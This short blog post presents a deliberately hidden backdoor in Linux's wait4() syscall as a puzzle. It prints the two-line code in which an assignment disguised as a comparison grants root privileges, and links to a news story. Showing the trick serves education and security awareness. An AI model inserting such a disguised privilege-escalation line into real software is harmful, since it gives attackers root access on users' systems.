Karl (supersat) wrote in supersat_tech,
Karl
supersat
supersat_tech

Spot the backdoor

The following code was added to Linux's wait4() syscall:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

A casual glance at this code makes it look like a harmless error check designed to make the system more robust, but it's not.

This story at The Register has more info.
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